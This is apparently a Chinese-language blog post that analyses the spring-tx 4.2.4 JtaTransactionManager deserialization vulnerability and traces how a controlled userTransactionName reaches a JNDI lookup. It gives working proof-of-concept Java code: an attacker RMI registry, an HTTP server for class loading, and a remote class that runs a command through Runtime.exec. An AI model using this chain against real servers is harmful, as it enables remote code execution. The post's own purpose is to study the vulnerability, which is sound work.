前言

在上一篇 fastjson 反序列化漏洞的分析中,使用了两种漏洞利用方式,第二种方式中使用了 JNDI 结合 RMI 使 poc 变得更加通用。类似的利用方式可以应用在 spring-tx 4.2.4 的反序列化漏洞中。

漏洞分析

JNDI 支持的服务类型很多,其中也包含 RMI 服务。在 RMI 服务中,客户端会通过 lookup() 方法向 RMI Registry 请求远程对象的 stub。如果客户端的 lookup() 方法的参数可控,我们可以让客户端向攻击者的 RMI Registry 请求 stub。而请求的远程对象是攻击者可控的,攻击者可以在该 RMI 服务中注册一个 Reference 类型的对象,其中的 classname 和 codebase url 都是可控的。当改变客户端的 lookup() 参数去请求该注册对象时,客户端在 classpath 中找不到 classname 指定的类,就会根据 codebase url 和 classname 去加载该类的 class 文件,加载到该类后,会实例化该类。

根据分析,我们要执行的代码可以写在 Reference 指定的远程类中的如下位置。

1
2
3
1. 构造方法中
2. 静态代码块中
3. getObjectInstance() 方法中

将要执行的代码放到第三个位置需要远程类实现 ObjectFactory 接口,并实现该接口的 getObjectInstance() 方法,暂未测试。后面分析的 poc 将执行代码写在远程类的构造方法中。

01

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>javax.transaction-api</artifactId>
<version>1.2</version>
</dependency>
</dependencies>

该漏洞发生在 org.springframework.transaction.jta.JtaTransactionManager 类中,该类与 spring 的事务管理相关。

02

因为是反序列化漏洞,所以我们找到 JtaTransactionManager 类的 readObject() 方法,该方法会在反序列化时被调用。在 idea 中使用 command + f12 定位类中的方法。

03

JtaTransactionManager 的 readObject() 方法。

04

跟入 initUserTransactionAndTransactionManager() 方法。

05

在 php 的反序列化中,我们主要是通过控制对象的属性构造 pop 链,并通过属性构造利用代码。在 java 中也类似,这里的 userTransactionName 就是我们要控制的属性,该值最终会进入 lookup() 方法中,根据前面的分析,我们的目标就是改变受害者的 lookup() 方法中的参数。

跟入 lookupUserTransaction() 方法。

06

在 lookupUserTransaction() 方法中,先通过 getJndiTemplate() 方法取出了一开始在 readObject() 方法中创建的 JndiTemplate 的实例,接着调用 JndiTemplate 的 lookup() 方法,并传入了可控的 userTransactionName 属性。

JndiTemplate 的 lookup() 方法。

07

在 JndiTemplate 的 lookup() 方法中,先创建了一个匿名内部类,name 参数就是从 lookupUserTransaction() 方法中传来的可控内容。当执行该匿名类的 doInContext() 方法时,会将可控内容传入 InitialContext 的 lookup() 方法中。

跟入 execute() 方法。

08

在 execute() 方法中,执行了匿名类的 doInContext() 方法,而其中进入 InitialContext 的 lookup() 方法的参数我们可控,即可以让受害者向我们的 RMI 服务请求远程对象。到这里,漏洞分析就结束了。

poc 分析

根据前面的分析,该漏洞虽然是一个反序列化漏洞,但是要实现利用需要结合一个反序列化的接口,即漏洞触发点。在 php 中,如果我们找到一条 pop 链,我们可以通过 phar 等方式触发。所以 poc 中通过模拟一个反序列化接口对该漏洞进行复现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ExploitableServer {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(9999);
System.out.println("Server started on port " + serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from " + socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+ object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

上面通过监听 9999 端口,将接收到的数据进行反序列化来模拟触发点。下面是攻击者的服务端代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class SpringPOC {

/***
* 启动http服务器,提供下载远程要调用的类
*
* @throws IOException
*/
public static void lanuchCodebaseURLServer() throws IOException {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}

/***
* 启动RMI服务
*
* @throws Exception
*/
public static void lanuchRMIregister() throws Exception {
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1999);
// 设置code url 这里即为http://http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
}

/***
* 发送payload
*
* @throws Exception
*/
public static void sendPayload() throws Exception {
// jndi的调用地址
String jndiAddress = "rmi://127.0.0.1:1999/Object";
// 实例化JtaTransactionManager对象,并且初始化UserTransactionName成员变量
JtaTransactionManager object = new JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
// 发送构造好的payload
Socket socket = new Socket("127.0.0.1", 9999);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
socket.close();
}

public static void main(String[] args) throws Exception {
lanuchCodebaseURLServer();
lanuchRMIregister();
sendPayload();
}
}

主要思路就是,攻击者需要在服务端开启一个 RMI 服务和一个 web 服务,RMI 服务中注册一个 Reference 对象,web 服务上存放了 Reference 指定的 class 文件。这里的 web 服务是通过 JDK 内置的 HttpServer 类实现的。还需要一个实现 HttpHandler 接口的实现类,该 web 服务会回调实现类的 handle() 方法处理请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class HttpFileHandler implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from "+ httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while(inputStream.available()>0) {
byteArrayOutputStream.write(inputStream.read());
}

byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch(Exception e) {
e.printStackTrace();
}
}
}

生成放到 web 服务上的 ExportObject.class 文件。

1
2
3
4
5
6
7
8
9
10
public class ExportObject {

public ExportObject() throws Exception {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}

public static void main(String[] args) throws Exception {
ExportObject eo = new ExportObject();
}
}

先启动受害者服务器 ExploitableServer.java。再启动攻击者服务器 SpringPOC.java,向受害者的反序列化接口发送利用代码,即可触发漏洞。

09

总结

poc 来自参考文章。

如有错误,欢迎讨论 : )

ref :

https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-分析以及利用/